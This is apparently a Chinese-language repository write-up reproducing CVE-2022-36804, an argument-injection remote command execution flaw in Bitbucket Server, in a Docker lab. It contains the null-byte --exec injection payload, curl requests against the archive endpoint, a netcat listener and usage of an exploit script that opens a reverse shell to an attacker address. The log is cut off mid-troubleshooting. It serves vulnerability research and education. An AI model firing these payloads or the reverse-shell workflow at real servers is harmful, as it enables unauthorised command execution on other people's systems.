完整复现CVE-2022-36804(Bitbucket RCE)。包含一个Docker化的实验环境、用于验证空字节注入的pspy64监控工具,以及一个自定义Bash漏洞利用脚本。基于Assetnote的研究成果。
CVE-2022-36804 是 Atlassian Bitbucket Server 和 Data Center 的 REST API 中的一个高危/严重 参数注入 漏洞。
虽然官方 NVD 国家漏洞数据库的基础评分为 8.8(高危),基于需要读取权限 (PR:L) 的假设,但本分析将其视为 9.8(严重) 漏洞 (PR:N)。如果目标仓库启用了公共访问(一种常见配置),则利用向量完全变为未经身份验证。
本仓库记录了该漏洞利用的完整链式实验室复现,直接基于 Assetnote 发布的技术研究。
分析详细描述了从环境编排和安全过滤器绕过到获得交互式反向 Shell 的过程。正如原始发现中所概述的,此漏洞允许 远程命令执行 (RCE),如果目标仓库启用了公共访问,则可以在未经身份验证的情况下利用。
该漏洞根源于 Java 应用程序运行时与 Linux 操作系统之间的“清理阻抗不匹配”。
正如 Assetnote 研究中强调的那样,Bitbucket 利用 NuProcess 库来构建和执行 Git 命令。当用户向 /archive 端点提供 prefix 参数时,Bitbucket 在将参数列表传递给操作系统之前未能剥离空字符 (%00)。
execve() 处理命令时,它会在 %00 处截断字符串。由于 NuProcess 传递数据的方式,操作系统将空字节之后的所有内容视为一个全新的命令行参数。通过注入 --exec=...,攻击者跳出预期的 --prefix 标志,并强制 git archive 进程执行任意二进制文件,从而导致 远程命令执行 (RCE)。
要理解漏洞利用如何从简单的 URL 参数过渡到操作系统级命令,我们必须剖析载荷的结构并观察“数组移位”。
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| 组件 | 目的 | 技术角色 |
|---|---|---|
prefix=x | 要求 | git archive 需要一个前缀;x 充当占位符。 |
%00 | 刀 | 空字节。Java 传递它,但基于 C 的 Linux 内核在此处终止字符串。 |
--exec=... | RCE 触发器 | 危险标志。滥用 Git 的内置功能来执行外部程序。 |
touch ... | 动作 | 要执行的命令。用于验证 RCE 的安全 PoC。 |
--remote=... | 垃圾桶 | 消耗 提交 ID(由 Bitbucket 附加)作为有效参数,确保命令干净执行且无语法错误。 |
这说明了漏洞的核心:数据(目录前缀)如何被转换为指令(命令标志)。
Java 的执行上下文(初始状态):
Java 将一长串视为第三个参数。
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Linux 内核执行(被利用状态):
内核的 execve() 系统调用会在每个空字节 (\0) 处分割字符串,将注入的标志移位到进程参数数组中它们自己的独立位置。
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
为了模拟真实的攻击面,实验室环境采用了 Docker 桥接网络 (hacking_net) 中隔离的双容器架构。此设置确保可以在受控环境中进行漏洞利用和监控,而不会影响主机系统。
受害节点: 运行 Atlassian Bitbucket Server 版本 7.17.1。容器被有意命名为 bitbucket-victim。这反映了为确保符合 Apache Tomcat 的 RFC 7230 强制执行而做出的关键设计改进。通过使用连字符而不是下划线,环境避免了载荷执行期间出现的“无效字符”400 错误——这是在研究阶段发现并解决的关键技术障碍。
攻击节点: 定制的 Kali Linux rolling 镜像。与标准镜像不同,此节点预置了此漏洞利用链所需的特定工具集:用于仓库操作的 git、用于载荷传递的 curl 以及用于捕获反向 Shell 的 netcat-traditional。
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
如果您已经使用上面提供的 docker-compose.yml 配置了环境,您可以使用附带的 exploit.sh 脚本来验证漏洞并在几秒钟内弹出反向 Shell。
1. 准备监听器
在您的 Kali 攻击节点(或主机)上,启动一个 netcat 监听器以捕获 Shell:
nc.traditional -lvnp 4444
2. 执行漏洞利用
通过提供目标 Bitbucket IP、项目/仓库名称以及您的监听器详细信息来运行脚本:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. 验证访问
脚本执行后,检查您的 netcat 终端。您应该可以获得一个以 bitbucket 用户身份运行的交互式会话。
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
以下是实验室会话的原始执行日志,详细介绍了从环境设置到完全交互式反向 Shell 的过渡,包括绕过应用程序逻辑和 Web 服务器约束所需的故障排除步骤。
我开始启动脆弱环境并配置目标应用程序。
docker-compose up -d --build 以部署 Kali 攻击者和 Bitbucket 受害容器。http://localhost:7990 并等待 Bitbucket 设置程序初始化。CVE 的新项目和一个名为 Repo1 的空仓库。
为了实时验证注入而不是依赖盲测,我决定部署 pspy64 来监视底层 Linux 进程。
pspy64 二进制文件。docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) 进入受害容器,我应用了执行权限并启动了监控器:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
切换到攻击节点 (docker exec -it kali_attacker bash),我执行了旨在创建文件 (/tmp/pwned) 的初始远程命令执行载荷。
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ 字符的错误。
-H "Host: localhost") 以强制载荷通过 Web 服务器到达 Bitbucket 应用程序层。使用 Host 头发送更新后的载荷导致了一个新错误:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}
